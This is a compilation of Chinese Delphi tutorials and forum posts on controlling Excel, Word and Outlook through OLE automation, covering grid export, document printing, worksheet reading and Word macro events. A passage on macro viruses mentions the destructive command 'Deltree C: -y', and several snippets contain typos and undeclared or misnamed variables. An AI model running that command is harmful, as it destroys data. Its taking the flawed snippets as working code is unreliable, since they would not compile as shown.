function TDBGridExport.InsertData_To_Excel: Boolean;

var

i, j, k: Integer;

data_Str: string;

Column_name: string;

Data_Set: TDataSet;

bookmark: pointer;

Before_Scroll, Afrer_Scroll: TDataSetNotifyEvent;

begin

try

{显示插入进度}

if FShow_Progress = True then

begin

Create_ProgressForm(nil);

FProgress_Form.Show;

end;

{第一行，插入标题}{仅仅插入可见数据}

j := 1;

for i := 1 to FDB_Grid.Columns.Count do

if FDB_Grid.Columns[i - 1].Visible = True then

begin

FWorkbook_Handle.WorkSheets[1].Cells[1, j].Value := FDB_Grid.Columns[i - 1].Title.Caption;

FWorkbook_Handle.WorkSheets[1].Columns[j].ColumnWidth := FDB_Grid.Columns[i - 1].Width div 6;

j := j + 1

end;

{插入DBGrid中的数据}

Data_Set := FDB_Grid.DataSource.DataSet;

{记忆当前位置并取消任何事件}

// new(bookmark);

bookmark := Data_Set.GetBookmark;

Data_Set.DisableControls;

Before_Scroll := Data_Set.BeforeScroll;

Afrer_Scroll := Data_Set.AfterScroll;

Data_Set.BeforeScroll := nil;

Data_Set.AfterScroll := nil;

if FShow_Progress = True then

begin

Data_Set.Last;

FProgress_Form.Refresh;

FProgressBar.Max := Data_Set.RecordCount;

end;

Data_Set.First;

k := 2;

while not Data_Set.Eof do

begin

if FShow_Progress = True then

FProgressBar.Position := k;

j := 1;

for i := 1 to FDB_Grid.Columns.Count do

begin

if FDB_Grid.Columns[i - 1].Visible = True then

begin

Column_name := FDB_Grid.Columns[i - 1].FieldName;

data_Str := FDB_Grid.Fields[i - 1].DisplayText;

FWorkbook_Handle.WorkSheets[1].Cells[k, j].Value := data_Str;

j := j + 1;

end;

end;

k := k + 1;

Data_Set.Next;

end;

{恢复原始事件以及标志位置}

Data_Set.GotoBookmark(bookmark);

Data_Set.FreeBookmark(bookmark);

// dispose(bookmark);

Data_Set.EnableControls;

Data_Set.BeforeScroll := Before_Scroll;

Data_Set.AfterScroll := Afrer_Scroll;

Result := True;

finally

FExcel_Handle.Visible := True;

FExcel_Handle.Application.ScreenUpdating := True;

if FShow_Progress = True then

begin

FProgress_Form.Free;

FProgress_Form := nil;

end;

end;

end;

{===============================================================================}

{启动Excel时给出进度显示}

procedure TDBGridExport.Create_Run_Excel_Form(AOwner: TComponent);

var

Panel: TPanel;

Prompt: TLabel; {提示的标签}

begin

if assigned(FRun_Excel_Form) then exit;

FRun_Excel_Form := TForm.Create(AOwner);

with FRun_Excel_Form do

begin

try

Font.Name := '宋体'; {设置字体}

Font.Size := 9;

BorderStyle := bsNone;

Width := 300;

Height := 100;

BorderWidth := 2;

Color := clBlue;

Position := poScreenCenter;

Panel := TPanel.Create(FRun_Excel_Form);

with Panel do

begin

Parent := FRun_Excel_Form;

Align := alClient;

BevelInner := bvNone;

BevelOuter := bvRaised;

Caption := '';

end;

Prompt := TLabel.Create(Panel);

with Prompt do

begin

Parent := panel;

AutoSize := True;

Left := 25;

Top := 25;

Caption := '正在导出数据，请稍候……';

end;

except

end;

end;

end;

{===============================================================================}

{创建进度显示窗口}

procedure TDBGridExport.Create_ProgressForm(AOwner: TComponent);

var

Panel: TPanel;

Prompt: TLabel; {提示的标签}

begin

if assigned(FProgress_Form) then exit;

FProgress_Form := TForm.Create(AOwner);

with FProgress_Form do

begin

try

Font.Name := '宋体'; {设置字体}

Font.Size := 9;

BorderStyle := bsNone;

Width := 300;

Height := 100;

BorderWidth := 2;

Color := clBlue;

Position := poScreenCenter;

Panel := TPanel.Create(FProgress_Form);

with Panel do

begin

Parent := FProgress_Form;

Align := alClient;

BevelInner := bvNone;

BevelOuter := bvRaised;

Caption := '';

end;

Prompt := TLabel.Create(Panel);

with Prompt do

begin

Parent := panel;

AutoSize := True;

Left := 25;

Top := 25;

Caption := '正在导出数据，请稍候……';

end;

FProgressBar := TProgressBar.Create(panel);

with FProgressBar do

begin

Parent := panel;

Left := 20;

Top := 50;

Height := 18;

Width := 260;

end;

except

end;

end;

end;

end.


用Delphi4.0直接控制Word97

一、前　言

    玩过 PowerBuilder的朋友一定知道， PB中最重要的技术就是它的 DataWindow技术，用它来设计表单、处理数据录入、设计报表十分方便。然而 Delphi的报表支持功能远不及 PB。 Delphi的专业版中包括了 QuickReport，不过它是集合由 QSD AS（一家挪威公司）授权的报表组件。当然，我们也可以使用外部报表工具，如 ReportSmith或 Cristal Report。不过控制稍嫌复杂，并且它们与 Delphi之间缺少集成性。

    我们在开发 《公文管理系统》网络版时，在实现公文打印时，尝试过不同的方法来实现。我们的要求是将一篇普通公文按公文格式打印出来，而用户能对其进行排版进行一些简单的控制。小辉刚开始是用的 QuickReport来试的，效果很不尽人意，特别是对一些中文格式的支持方面；后来小辉一不作二不休，干脆自己手工编写打印程序，不依赖设计工具，只可惜小辉技术不到家，写到一半时玩不下去了，只好另找出路。正好那天来了份 《中国计算机报》，上面有一篇介绍如何在 VB中使用 Excel的文章。小辉一想：何不用 Delphi将数据发送到 Word，由 Word来完成编辑排版工作呢？说穿了，就是用 OLE自动化技术。

    小辉一试，效果竟还可以。——虽然对于一个程序员来说，自己编的程序中要挂接一个别人的应用程序才能完全实现自己的功能，就象鸡群里插只鸭，心里总有点那个。但由于开发任务紧，主任又隔三隔四的来催，虽然最终有点不伦不类，小辉也顾不得那么多了。好了，废话少说，看看是怎样实现的吧——

二、窗体设计

    说穿了其实很简单。小辉在这里做了一个简单的示例程序：

     1. 设置窗体 Form1的 Font.name为‘宋体’， Font.size为 12；

     2. 窗体上依次放置 lable1-labe5五个 tLable控件，其 caption属性分别为‘文号’、‘标题’、‘收文单位’、‘正文’、‘发文单位’

     3. 在窗体上依次放置 tEdit、 tEdit、 tEdit、 tMemo、 tEdit五个编辑控件，其 name属性分别为 :ED_WenHao、 ED_BiaoTi、 ED_ShouWenDanWei、 ED_ZhenWen、 ED_FaWenDanWei。

     4. 在窗体上依次放置两个 tButton控件，其 name属性分别为 Btn_PrintToWord、 btn_Quit， Caption属性分别为‘打印’和‘退出’。

    窗体设计格式可参考本文末所附图片。

三、代码设计

    程序段如下所示：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,OleCtnrs,ComObj;

type

TForm1 = class(TForm)

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

Label4: TLabel;

Label5: TLabel;

ED_WenHao: TEdit;

ED_BiaoTi: TEdit;

ED_ShouWenDanWei: TEdit;

ED_ZhenWen: TMemo;

ED_FaWenDanWei: TEdit;

Btn_PrintToWord: TButton;

Btn_Quit: TButton;

procedure Btn_PrintToWordClick(Sender: TObject);

procedure Btn_QuitClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

//开始：数据发送到 word事件

procedure TForm1.Btn_PrintToWordClick(Sender: TObject);

vAR

VarWord: Variant;// 创建 WORD时所用

begin

try

// 1. 建立 OleObject，连接 word97

VarWord:=CreateOleObject('word.basic');

// 2. 建立 Word97的新文件

VarWord.FileNew;

// 3. 设置 Word97的基本状态

VarWord.ViewZoom75; //设置显示比例为 75%

VarWord.ViewPage; //改为页面显示方式

// 4. 将当前数据控件上的信息发送至 Word97

// 4.1 发送文号数据

VarWord.CenterPara; //居中

Varword.font('宋体 '); //设置字体

VarWord.FontSize(14); //设置字号

varword.insert(#13+#13+ ED_WenHao.Text+#13+#13+#13);

// 4.2 发送标题数据

VarWord.font('黑体 ');

VarWord.Fontsize(16);

VarWord.insert( ED_BiaoTi.text+#13);

// 4.3 发送收文单位数据

VarWord.LeftPara; //左对齐

VarWord.Font('宋体 ');

VarWord.fontSize(14);

VarWord.Insert(#13+ ED_ShouWenDanWei.Text+'： '+#13);

// 4.5 发送正文数据

VarWord.fontSize(14);

VarWord.Insert( ED_ZhenWen.Text+#13);

// 4.6 发送发文单位数据

VarWord.RightPara; //右对齐

VarWord.fontSize(14);

VarWord.Insert( ED_FaWenDanWei.Text+#13);

// 5 最后设置

VarWord.StartOfdocument; //到文首

VarWord.AppMaxiMize; //设置窗口最大化

VarWord.AppShow; //显示应用程序

except

showmessage('运行 Microsoft Word 失败！ ');

end; //end of try

end;

//end：数据发送到 word事件

//开始：窗口关闭事件

procedure TForm1.Btn_QuitClick(Sender: TObject);

begin

close;

end;

//End：窗口关闭事件

end.

// 这是主程序的尾部

四、附　注

一、说明

    １、因只是一个演示示例，故没有与后台数据库连接起来，实际操作可将相应的 tEdit、 tMemo控件用 tDBEdit、 tDBMemo控件所代替，增加 tTable、 tDataSource等控件，连接数据库。

    ２、本示便没有考虑如何进行批量打印

    ３、程序在 Pwin97、 Delphi 4.0专业版、中文 Word97下通过。

    ４、由于 Word有不同的版本，微软在每种外语中转换了一些 OLE自动化接口，如果用其他版本的 Word，本程序运行有可能出错。

    ５、可以通过 word97帮助中归结的宏命令来得到相应的驱动命令；亦或可在 Word97下单击［工具］菜单－－单击［自定义］－－单击［键盘］按钮，可以查看到 Word97中分类别显示的 Word命令。

二、优点与缺点

    １、通过 OLE自动化技术，将公文的排版打印工作交给 Word去完成，对最终用户而言，控制较方便。

    ２、在 Word97的若对数据进行了修改，则不能传回调用它的主程序，反映到数据库中。这是它的不便这处。

    ３、本例只是在特殊情况下的一种应用，若要打印大量数据标签，制作表格，本人觉得还是用报表灵活一些。

小辉


在DELPHI中操作Excel

在DELPHI中操作Excel

□ 曾剑平

在数据库应用软件的开发过程中，经常需要的数据转换成Excel文字，让用户作进一步的数据处理。而Borland Delphi是开发数据库应用系统的常用工具，如何在Delphi中操作Excel呢？

我们知道，在Microsoft office软件中有一种内嵌的编程语言，即VBA，它是一种宏语言、VB的子集。利用它，你可以编写出功能强大的代码，如打开文件、修改数据、保存数据、设置字体等。另一方面，Microsoft office软件中的宏能以VBA代码的形式记录下你的操作过程，因此借助宏操作，可以很轻松地实现某一功能，并把这些代码稍作修改嵌入你的软件中。但是VBA有一个缺点，它必需有Microsoft office操作平台，在哪里编写，必须在哪里执行。例如在Excel下编写的一段VBA代码，则它只有在Excel下才能执行。

关于Excel中的VBA编程方法、Excel对象属性、方法说明可以在Microsoft office的安装（完全安装）目录下的VBAXL8.hlp帮助文件中找到。

因此，只有把VBA代码嵌入到Borland Delphi中，才能实现用Delphi操作Excel。

下面，以Delphi为例，说明这种调用方法。

Unit excel;

Interface

Uses

Windows,Messages,SysUtils,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls,ComObj,

{ ComObj是操作OLE对象的函数集}

Type

TForm1=class(TForm)

Button1:TButton;

Procedure Button1Click(Sender:Tobject);

Private

{ Private declaration}

Public

{ Public declaration }

end;

var

Form1:Tform1;

Implementation

{$R *.DFM}

procedure TForm1.Button1Click(sender:Tobject);

var

eclApp,WordBook:Variant; {声明为OLE Automation对象}

xlsFileName:string;

begin

xlsFileName:=’ex.xls’;

try

{创建OLE对象：Excel Application与WordBook}

eclApp:=CreateOleObject(‘Excel.Application’);

WorkBook:=CreateOleObject(Excel.Sheet’);

Except

Application.MessageBox(‘你的机器没有安装Microsoft Excel’,

’使用Microsoft Excel’,MB_OK+MB_ICONWarning);

Exit;

End;

Try

ShowMessage(‘下面演示：新建一个XLS文件，并写入数据，并关闭它。’);

WorkBook:=eclApp.workbooks.Add;

EclApp.Cells(1,1):=’字符型’;

EclApp.Cells(2,1):=’Excel文件’;

EclApp.Cells(1,2):=’Money’;

EclApp.Cells(2,2):=10.01;

EclApp.Cells(1,3):=’日期型’;

EclApp.Cells(2,3):=Date;

WorkBook.SaveAS(xlsFileName);

WorkBook.close;

ShowMessage(‘下面演示：打开刚创建的XLS文件，并修改其中的内容，然后，由用户决定是否保存。’);

Workbook:=eclApp.WorkBooks.Open(xlsFileName);

EclApp.Cells(1,4):=’Excel文件类型’;

If MessageDlg(xlsFileName+’已经被修改，是否保存？’,

mtConfirmation,[mbYes,mbNo],0)=mrYes then

WorkBook.Save

Else

WorkBook.Saved:=True; {放弃保存}

Workbook.Close;

EclApp.Quit; //退出Excel Application

{释放Variant变量}

eclApp:=Unassigned;

except

ShowMessage(‘不能正确操作Excel文件。可能是该文件已被其他程序打开，或系统错误。’);

WorkBook.close;

EclApp.Quit;

{释放Variant变量}

eclApp:=Unassigned;

end;

end;

end.

了解了上述操作过程后，我们就可以很容易地将数据库中的数据转换成Excel文件。


DELPHI里调用Outlook

const olMailItem = 0;

var Outlook: OLEVariant;

MailItem: Variant;

begin

try

Outlook := GetActiveOleObject('Outlook.Application');

except

Outlook := CreateOleObject('Outlook.Application');

end;

MailItem := Outlook.CreateItem(olMailItem);

MailItem.Recipients.Add('Kingron@163.net');

MailItem.Subject := 'your subject';

MailItem.Body := 'http://kingron.myetang.com';

MailItem.Attachments.Add('C:.dat');

MailItem.Send;

Oulook := Unassigned;

end;

*************************

发送HTML格式邮件

下面的代码没有测试，因为我没有Outlook，而我又找不到Outlook express的CLSID或者ProgID…… :-(

var

Oe,MI:OleVariant;

begin

Oe:=CreateOleObject('Outlook.Application');

MI:=Oe.CreateItem(0);

MI.Subject:='subject';

MI.HTMLBody:='<html>..Input your HTML Source Here....</html>';

MI.Recipients.Add('Mail address like :1@2.3');

MI.Send;

MI:=Unassigned;

OE:=Unassigned;

end;


Delphi中调用Word

uses ComObj ;

procedure TForm1.Button1Click(Sender: TObject);

var

vWord,vDoc,vRange : Variant ;

sText,sReplace : string ;

lReturn : Boolean ;

begin

sText := 'ABCDEFG' ; //原文字串

sReplace := 'GFEDCBA' ; //新字串

vWord := CreateOleObject('Word.Application') ;//创建Word线程

try

//打开要操作的文件

vDoc := vWord.Documents.Open('C:Documents.Doc');

vDoc.Select ; //选取中整个文档

vRange := vDoc.Range ; //替换范围

lReturn := True ;

while lReturn do

begin //找到并替代成功则返回 True 共11个参数

lReturn := vDoc.Range.Find.Execute(sText,,,,,,,,,sReplace,True) ;

end ;

finally

vDoc.Close(True) ; //关闭文并保存

vWord.Quit(False) ; //退出Word

end ;

end;

Delphi 3 下通过。


Delphi和Word之间的编程

来自：yzhshi, 时间：2001-11-18 17:52:00, ID：737517

[b]一、VBA代码含义[/b]

Microsoft Word是一个集成化环境，是美国微软公司的字处理系统，但是它决不仅仅是一个字处

理系统，它集成了Microsoft Visual Basic，可以通过编程来实现对Word功能的扩展。

Microsoft Visual Basic在word中的代码即Word的宏，通过编写Word宏，可实现一些文档处理的

自动化，如实现文档的自动备份、存盘等，可扩展Word文档的功能，因此，能够充分利用Word的

特性，甚至使Word成为自己软件的一部分。

Word的宏既有有利的一部分，因为它能够帮助我们实现文档的自动化，但是Word的宏也不是纯粹

的有利，有时它可能危害我们的文档、计算机系统甚至网络，从最开始的Taiwan NO1宏病毒到现

在的Melissa宏病毒，从最开始的简单的提示，耗尽系统资源到现在的乱发电子邮件，将个人的

信息发送到网络上，甚至向硬盘的Autoexec.bat(自动批处理文件)中添加Deltree C: -y，破坏

整个Windows系统。

[b]二、Word中内嵌的Com技术[/b]

可以说Word是对Com技术支持最好的软件，这样说似乎是太极端了一点，但是Word提供的强大的编

程接口技术却能够是我们通过程序控制Word的任何一部分。无论是文件的打开、存盘、打印还是文

档中表格的自动绘制。

通过编程软件，可以灵活的操纵word，这里只以Borland Delphi为例，进行详细描述：

１、 在Delphi中调用Word软件／文件的方法

在Word中调用Word软件，归纳起来有三种方法：

。通过Delphi的控件TOleContainer 将Word嵌入

a.使用Delphi提供的Servers控件调用Word，使用Word的属性

b.通过真正的Com技术，将Office软件目录中文件MSWORD9.OLB中的类库全部导入Delphi中，

利用Com技术编程

c.使用CreateOleObject将启动Word，然后以Ole方式对Word进行控制。

２、 对几种方法的难易程度的判别

a.通过Delphi的控件TOleContainer 将Word嵌入

这是最简单的Ole嵌入，能够直接将Word文档调用，只需要使用ToleContainer.Run就可以将Word文

档直接启动。且这样启动的Word文档与Delphi程序是一个整体（从界面上看），但是它存在不可克

服的缺点，即不能通过Delphi控制Word文档，也就不能实现将灵活操纵Word的目的。

b.使用Delphi提供的Servers控件调用Word，使用Word的属性

使用Delphi的Servers控件来操纵Word，在编程时Delphi能够实现代码提示，总体上看能够较好的实

现Delphi对Word的控制，但是还有一些Word的功能不能在Delphi中调用（比如自己编写的VBA宏代码）。

且实现功能时本来在VBA代码中可选则参数在Delphi调用的时候必须添加，否则，连编译都不能通过。

本方式启动的Word与Delphi程序分属两个窗体。

此办法仅能作为一个参考。

c.通过真正的Com技术，将Office软件目录中文件MSWORD9.OLB中的类库全部导入Delphi中，

利用Com技术编程

利用真正的Com技术，将MsWord9.OLD文件类库导入，然后利用Com技术进行使用。

整体上类似使用Delphi的Servers控件，稍微比Servers控件麻烦，优缺点与Servers控件相同。

d.使用CreateOleObject将启动Word，然后以Ole方式对Word进行控制。

本办法是使用以CreateOleObjects方式调用Word，实际上还是Ole，但是这种方式能够真正做到完全

控制Word文件，能够使用Word的所有属性，包括自己编写的VBA宏代码。

与Servers控件和com技术相比，本方法能够真正地使用Word的各种属性，和在VBA中编写自己的代码

基本一样，可以缺省的代码也不需要使用。

本方式启动的Word与Delphi程序分属两个窗体。

缺点是使用本方法没有Delphi代码提示，所有异常处理均需要自己编写，可能编写时探索性知识比较多。

[b]三、Word宏编辑器[/b]

Word能够真正地进行VBA代码的编辑，可以编写窗体、函数。

进入Word宏编辑器的方法：工具->宏->Visual Basic编辑器，可进入Visual Basic编辑器界面。

Word的Visual Basic编辑器界面和真正的Visual Basic编辑器基本相同，在此不再向详述。

在VBA代码中，可以添加用户窗体、模块、类模块。用户窗体、模块、类模块的概念和Visual Basic

完全相同。注释也与Visual Basic完全相同。

可以将光标停留在窗体、模块的任何一个子程序上，直接按“F5”运行当前子程序。

[b]四、Word的宏的概述[/b]

Word充分地将文档编辑和VB结合起来，真正地实现文档的自动化。使用Word编程，类似于使用

Visual Basic，所不同的是，在Word中，能够直接运行某一个子程序，直接看见结果，Word的宏，

只能解释运行，而Visual Basic，现在已经能够编写成真正的机器码，从代码的保护上来说，应该尽

可能地减少Word的VBA代码数量，尤其是关键的代码。

VBA宏，可分成四种：

１、 和命令名相同的宏

如FileSave，FileOpen，如果在VBA代码中包含与Word同名的函数，则直接执行这些VBA代码，忽略Word

本身的命令。

２、 Word内特定的宏

这些宏包含AutoExec（启动 Word 或加载全局模板）、AutoNew（每次新建文档时）、AutoOpen（每次打

开已有文档时）、AutoClose（每次关闭文档时），AutoExit（退出 Word 或卸载全局模板时）。

如果VBA代码中含有这些名称的函数，则满足相应的条件，相应代码就自动执行。

３、 相应事件的VBA宏

这些宏是由事件触发的宏，如Document_Close在文档关闭的时候触发事件，Document_New在新建文档的时

候触发，Document_Open在打开文档的时候触发。

４、 独立的宏

自己编写的VBA代码，即不属于上面几种情况的VBA代码，可以被其他VBA代码调用，更重要的是，可以被

其他程序调用。

这样，我们就可以屏弃Word自动执行的宏，通过Delphi直接调用相应宏来达到目的。

[b]五、Word命令宏的详细描述[/b]

Word本身的命令函数包含很多，但是无论是word联机帮助还是MSDN帮助，都没有这方面的介绍，因此只能

凭自己的实验取探索，初步探测的函数如下：

宏名 解释 注释

FileNew 新建

FileNewDefault 新建空白文档

FileSaveAs 另存为

FileOpen 打开

FileClose 关闭

FilePrint 打印

FilePrintPreview 打印预览

ToolsCustomize 工具栏里面的自定义

ToolsOptions 工具选项

ToolsRevisions 突出显示修订

ToolsReviewRevisions 接受或拒绝修订

ToolsRevisionMarksAccept 接受修订

ToolsRevisionMarksReject 拒绝修订

ToolsRevisionMarksToggle 修订

ToolsMacro 宏

ToolsRecordMacroToggle 录制新宏

ViewSecurity 安全性

ViewVBCode 查看VB编辑器环境

FileTemplates 模板和可加载项

ToolsProtectUnprotectDocument 解除对文档的保护

InsertHyperlink 插入超级链接

EditHyperlink 编辑超级链接

DeleteHyperlink 删除超级链接

EditLinks 查看、删除链接

EditPasteAsHyperlink 粘贴超级链接

FormatStyle 样式

EditBookMark 书签

[b]一、Delphi程序启动Word[/b]

采用CreateOleObjects的方法来启动Word，调用VBA代码，具体实现过程为：

首先使用GetActiveOleObject('Word.Application')判断当前内存中是否存在Word程序，如果存在，

则直接连接，如果没有Word程序，则使用CreateOleObject('Word.Application')启动Word

[b]二、Delphi程序新建Word文稿[/b]

格式：WordDocuments.Add(Template,NewTemplate,DocumentType,Visible)

Template： 使用模板的名称，

NewTemplate： 新建文档的类型，True表示为模板，False表示为文档

DocumentType： 文档类型，默认为空白文档

Visible： 打捞的窗口是否可见

举例：Doc_Handle:=Word_Ole.Documents.Add(Template:='C:.dot',NewTemplate:=False);

[b]三、Delphi程序打开Word文稿[/b]

格式：WordDocuments.Open(FileName,ConfirmConversions,ReadOnly,PassWordDocument,

PasswordTemplate,Revent,WritePasswordDocument,WritePassWordTemplate,

Format,Encoding,Visible)

FileName： 文档名（包含路径）

Confirmconversions： 是否显示文件转换对话框

ReadOnly： 是否以只读方式打开文档

AddToRecentFiles： 是否将文件添加到"文件"菜单底部的最近使用文件列表中

PassWordDocument： 打开此文档时所需要的密码

PasswordTemplate： 打开此模板时所需要的密码

Revert： 如果文档已经，是否重新打开文档

WritePasswordDocument： 保存对文档更改时所需要的密码

WritePasswordTemplate： 保存对模板进行更改时所需要的密码

Format： 打开文档时所需使用的文件转换器

Encoding： 所使用的文档代码页

Visible： 打开文档的窗口是否可见

举例：

Doc_Handle:=Word_Ole.Documents.open(FileName:=Doc_File,ReadOnly:=False,

AddToRecentFiles:=False);

[b]四、Delphi程序保存Word文稿[/b]

格式：WordDocuments.SaveAs(FileName, FileFormat, LockComments, Password,

AddToRecentFiles, WritePassword, ReadOnlyRecommended,

EmbedTrueTypeFonts, SaveNativePictureFormat, SaveFormsData,

SaveAsAOCELetter)

FileName： 文件名。默认为当前文件夹和文件名。

FileFormat 文档保存的格式。

LockComments 如果为 True，则此文档只允许进行批注。

Password 打开文档时的口令。

AddToRecentFiles 如果为True，则将文档添至"文件"菜单中最近使用的文档列表中。

WritePassword 保存对文档的修改所需的口令。

ReadOnlyRecommended 如果为 True，在每次打开文档时，Word 将建议用户采用只读方式。

EmbedTrueTypeFonts 如果为 True，则将文档与 TrueType 字体一起保存。

SaveNativePictureFormat 如果为 True，则从其他系统平台（例如 Macintosh）导入的图形仅保存其 Windows 版本。

SaveFormsData 如果为 True，则将窗体中用户输入的数据存为一条数据记录。

SaveAsAOCELetter 如果文档包含一个附加，当此属性值为 True 时，将文档存为一篇 AOCE 信笺（同时保存邮件）。

举例：

Word_Ole.Documents.SaveAs(FileName:=Doc_File,FileFormat=wdFormatDocument,

AddToRecentFiles=False);

[b]五、从数据库读取文件到本地硬盘和从本地硬盘读取文件到数据库[/b]

在数据库上使用Image二进制字段保存，使用Stream流的方式。

创建文件流：

Word_FileStream:=TFileStream.Create(Target_Name,fmOpenWrite or fmCreate);

Word_FileStream.Position:=0;

保存到数据库的Image字段：

TBlobField(AdoQuery1.FieldByName(Column_Name)).SaveToStream(Word_FileStream);

从数据库读取文件到本地硬盘：

TBlobField(ADOQuery1.FieldByName(Column_Name)).loadfromStream(Word_FileStream);

释放文件流：

Word_FileStream.Free;

[b]六、全局消息的定义[/b]

因为word和Delphi程序是两个软件，相互之间通讯比较麻烦，所以使用全局消息的方法进行。

全局消息必须首先注册，Windows返回系统空闲的消息号，当注册的消息相同时，

Windows系统返回同一个值，这样就保证了使用这个消息号在两个程序之间通讯。

定义消息的办法：

szMessageString: pchar = 'XIDIAN_11_Stone';

FMyJoinMessage := RegisterWindowMessage(szMessageString);

发送消息的方法：

SendMessage(对方句柄，消息，消息附带短变量，消息附带长变量)

[b]七、Delphi程序接收消息的方法[/b]

Delphi接收消息有两种，一是重载特定消息，二是重载WndProc函数，在里面选择相应消息进行处理。

法一，每次只能处理一条消息，而法二能够同时处理多条消息。

对于法二，声明如下：

procedure WndProc(var Message: TMessage);override

必须注意，使用时需要在处理完自己消息处理后继承WndProc(Message)函数，否则系统会崩溃！

[b]八、Word中Combo对话框的动态生成以及Change事件[/b]

建立类模块Combohander，在内部定义事件

Public WithEvents ComboBoxEvent As Office.CommandBarComboBox

定义Combo控件产生事件的模块

Dim ctlComboBoxHandler As New ComboBoxHandler

产生Combo对话框

Set Cbo_ChooseDoc = CommandBars("添加的菜单").Controls.Add(Type:=msoControlComboBox, Temporary:=True)

进行文件句柄设置，以产生Combo_Change事件

Set ctlComboBoxHandler.ComboBoxEvent = Cbo_ChooseDoc

产生事件后，在类模块Combohander内选择ComboBoxEvent的Change事件，即可书写事件代码

Sub ComboBoxEvent_Change(ByVal Ctrl As Office.CommandBarComboBox)

[b]九、一些Word的事件[/b]

VBA代码中处理的Word事件有：Document_Close

Application事件中需要处理的有：DocumentBeforeClose，DocumentChange。

Document_Close：事件在文档关闭时产生事件

DocumentBeforeClose：在文档被关闭以前先于Word判断文档是否保存，给出相应提示并进行相应处理。

DocumentChange：文档切换，在文档从自己修改的文稿和其他人修改的文稿之间切换产生事件，

主要处理设置文档权限等。

来自：DragonPC_???, 时间：2001-12-1 21:44:00, ID：758037

写的不错，但是我想说一些不同的话，

CreateOLEObject创建的variant类型变量，运行期才通过IDispatch接口进行方法调用，所以没有Code Insight，

开发效率、运行效率都要差一点。（IDispatch接口是为适合Automation技术开发的，比COM更高级，更抽象）

http://www.delphibbs.com/delphibbs/dispq.asp?lid=680785

http://www.delphibbs.com/delphibbs/dispq.asp?lid=420919

Delphi Servers 组件和Import Library是一回事来着，使用Import Library会更加通用一点，除了Word，

其它的支持Automation的应用程序都可以使用，比如Autocad、IE等等。但是Import Library有很多的bug，

经常出错。这一点玩过COM编程的人都知道，但我还是推荐使用这套技术进行COM或者Automation工作，效

率高的多。hubdog是这方面的专家，你们可以等他来介绍介绍。

最后我推荐Binh Ly的站点，他是Borland的COM专家，如果经常逛Borland的Automation新闻组，你肯定认

识他，站点有很多介绍和工具下载，大家可以自己看看。Delphi 4编程技术内幕的作者Chris Clvert也是

个中好手，他的站点资料多多。

http://www.techvanguards.com/

http://www.delphibbs.com/delphibbs/dispq.asp?lid=738352

***********

1、可以使用VBA屏蔽掉相应功能的Office事件，如下，屏蔽了FileSave（保存）选项

Sub FileSave()

'里面什么都不需要加，如果你需要他执行保存的时候还执行别的，那么添加，同时加上下面这句话

' Word.ActiveDocument.Save

End Sub

2、使用Delete方法，可以删除此属性，Visible还可以再次显示，而Delete就……

3、对于实现特定功能，没有必要这么做，你可以将所有VBA代码生成一个dot模板，其他文档

建立/打开的时候以他为基本模板就可以了。


读取Excel 97 或2000工作表

procedure TstartForm.SpeedButton10Click(Sender: TObject);

var MSExcel:Variant;

begin

MSExcel:=CreateOLEObject('Excel.Application');

MSExcel.WorkBooks.Add;

MSExcel.Visible:=True;

for i:=5 to Query1.RecordCount+4 do

begin

MsExcel.Cells[i,1].value:=Query1.FieldByName('cpxhno').Asstring;

MsExcel.Cells[i,2].value:=Query1.FieldByName('cpname').Asstring;

MsExcel.Cells[i,3].value:=Query1.FieldByName('cpunit').Asstring;

MsExcel.Cells[i,4].value:=Query1.FieldByName('htnumber').Asstring;

MsExcel.Cells[i,5].value:=Query1.FieldByName('number').Asstring;

MsExcel.Cells[i,6].value:=Query1.FieldByName('ljno').Asstring;

end;

end;

退出Excel:

MSExcel.Quit;

MSExcel:=Unassigned; //释放VARIANT变

***************

先加入ExcelApplication1;ExcelWorkbook1;ExcelWorksheet1;

procedure TForm1.n1Click(Sender: TObject);

var

row,brea:integer;

a,b,c,d,e:shortstring;

begin

if table1.active = True then begin

try

ExcelApplication1.Connect;

Except

ExcelApplication1.free;

Abort;

end;

brea := strtoint(inputbox('输入需导入行数！','行数','10'));

if brea<1 then brea := 10;

ProgressBar1.Visible := True;

ProgressBar1.Max := brea;

ExcelApplication1.Visible[0] := true;

for row := 2 to brea do

begin

a := ExcelWorksheet1.Cells.Item[row,2];

b := ExcelWorksheet1.Cells.Item[row,1];

c := ExcelWorksheet1.Cells.Item[row,3];

d := ExcelWorksheet1.Cells.Item[row,4];

e := ExcelWorksheet1.Cells.Item[row,5];

form1.show;

table1.AppendRecord([a,b,c,d,e]);

ProgressBar1.Position := row-1;

end;

ProgressBar1.Hide;

end;

end;

*****************

var

MSExcel: Variant;

i: Integer;

begin

OpenDialog1.Filter:='*.XLS|*.XLS';

OpenDialog1.DefaultExt:='XLS';

if OpenDialog1.Execute then

begin

MSExcel:=CreateOLEObject('Excel.Application');

MSExcel.WorkBooks.Open(OpenDialog1.FileName);

MSExcel.Visible:=False;

//从有数据的行逐行读入数据

for i:=1 to MSExcel.ActiveSheet.UsedRange.Rows.Count do

begin

Edit2.Text:=Edit2.Text+MSExcel.Cells[i,1].Value;

end;

MSExcel.ActiveWorkBook.Close;

MSExcel.Quit;

end;

end;


使用WordDocument,WordApplication

读取和显示Word文档的VCL控件：

http://www.ksdev.com/vcl/index.html

http://vcl.vclxx.org/DELPHI/D32FREE/DATA2WRD.ZIP

最近接触了一个用户的案例，用delphi控制word做一个合同管理程序。办公人员先根据业务需要，写好合同的文字，但在用户名称、产品名称等变化的位置填写指定的标记字符串，然后通过delphi把数据库中的实际数据替换掉word中的文字，最后让word打印出合同。

delphi自带了一个简单的word例题，但功能太简单。通过查找vba的说明，再对照delphi的vcl，编写了如下代码，实现了基本的公文管理功能。

启动word时用如下代码：

begin

try

wordapplication.connect;

except

messagedlg('word may not be installed', mterror, [mbok], 0);

abort;

end;

wordapplication.visible := true;

wordapplication.caption := 'delphi automation';

end;

关闭word用如下代码。如果想保存doc文件，请修改savechanges变量的内容：

var

savechanges, originalformat, routedocument: olevariant;

begin

savechanges := wddonotsavechanges;

originalformat := unassigned;

routedocument := unassigned;

try

wordapplication.quit(savechanges, originalformat, routedocument);

wordapplication.disconnect;

except

on e: exception do

begin

showmessage(e.message);

wordapplication.disconnect;

end;

end;

end;

